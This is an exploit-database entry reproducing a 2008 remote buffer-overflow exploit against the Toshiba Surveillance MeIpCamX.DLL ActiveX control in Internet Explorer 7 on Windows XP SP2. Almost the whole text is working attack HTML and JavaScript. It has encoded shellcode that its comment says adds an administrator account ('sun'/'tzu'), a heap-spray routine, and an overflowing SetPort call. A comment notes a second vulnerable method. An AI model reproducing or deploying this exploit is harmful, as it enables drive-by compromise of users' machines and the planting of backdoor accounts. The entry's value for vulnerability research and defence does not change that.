Toshiba Surveillance (MeIpCamX.DLL 1.0.0.4) Remote BOF Exploit

🗓️ 21 Jan 2008 00:00:00Reported by RootType
Toshiba Surveillance (MeIpCamX.DLL 1.0.0.4) Remote BOF Exploi

                                                &lt;!--
Toshiba&nbsp;Surveillance&nbsp;(Surveillix)&nbsp;RecordSend&nbsp;Class&nbsp;(MeIpCamX.DLL&nbsp;1.0.0.4)&nbsp;remote
buffer&nbsp;overflow&nbsp;exploit&nbsp;(IE7/xpsp2)

a&nbsp;demo&nbsp;camera:&nbsp;http://wb02-demo.surveillixdvrsupport.com/Ctl/index.htm?Cus?Audio
codebase:&nbsp;http://wb02-demo.surveillixdvrsupport.com/Ctl/MeIpCamX.cab

rgod-tsid-pa-he-ru-ka
-
stay&nbsp;tuned&nbsp;with&nbsp;us&nbsp;...
http://retrogod.altervista.org/join.html
security&nbsp;feeds,&nbsp;radio&nbsp;streams,&nbsp;techno/drum&nbsp;&amp;&nbsp;bass&nbsp;stations&nbsp;to&nbsp;come
--&gt;
&lt;html&gt;
&lt;object&nbsp;classid='clsid:AD315309-EA00-45AE-9E8E-B6A61CE6B974'&nbsp;id='RecordSend'&nbsp;/&gt;
&lt;/object&gt;
&lt;script&nbsp;language=&quot;javascript&quot;&gt;
///add&nbsp;su&nbsp;one,&nbsp;user:&nbsp;sun&nbsp;pass:&nbsp;tzu
shellcode&nbsp;=&nbsp;unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741&quot;&nbsp;+
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%u7734%u4734%u4570&quot;);
bigblock&nbsp;&nbsp;=&nbsp;unescape(&quot;%u9090%u9090&quot;);
headersize&nbsp;=&nbsp;20;
slackspace&nbsp;=&nbsp;headersize+shellcode.length;
while&nbsp;(bigblock.length&lt;slackspace)&nbsp;bigblock+=bigblock;
fillblock&nbsp;=&nbsp;bigblock.substring(0,&nbsp;slackspace);
block&nbsp;=&nbsp;bigblock.substring(0,&nbsp;bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000)&nbsp;block&nbsp;=&nbsp;block+block+fillblock;
memory&nbsp;=&nbsp;new&nbsp;Array();
for&nbsp;(i=0;i&lt;444;i++){memory[i]&nbsp;=&nbsp;block+shellcode}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//thx&nbsp;to&nbsp;Solar&nbsp;Designer&nbsp;and&nbsp;metasploit&nbsp;crew,&nbsp;is&nbsp;always&nbsp;intended

puf=&quot;&quot;;&nbsp;for&nbsp;(i=0;i&lt;28;i++){puf&nbsp;=&nbsp;puf&nbsp;+&nbsp;unescape(&quot;%0e&quot;)}&nbsp;//no&nbsp;more&nbsp;than&nbsp;28,&nbsp;otherwise&nbsp;you&nbsp;fall&nbsp;in&nbsp;seh&nbsp;tricks
RecordSend.SetPort(puf);&nbsp;//SetIpAddress&nbsp;method&nbsp;is&nbsp;vulnerable&nbsp;too,&nbsp;check&nbsp;by&nbsp;yourself
&lt;/script&gt;
&lt;/html&gt;
21 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1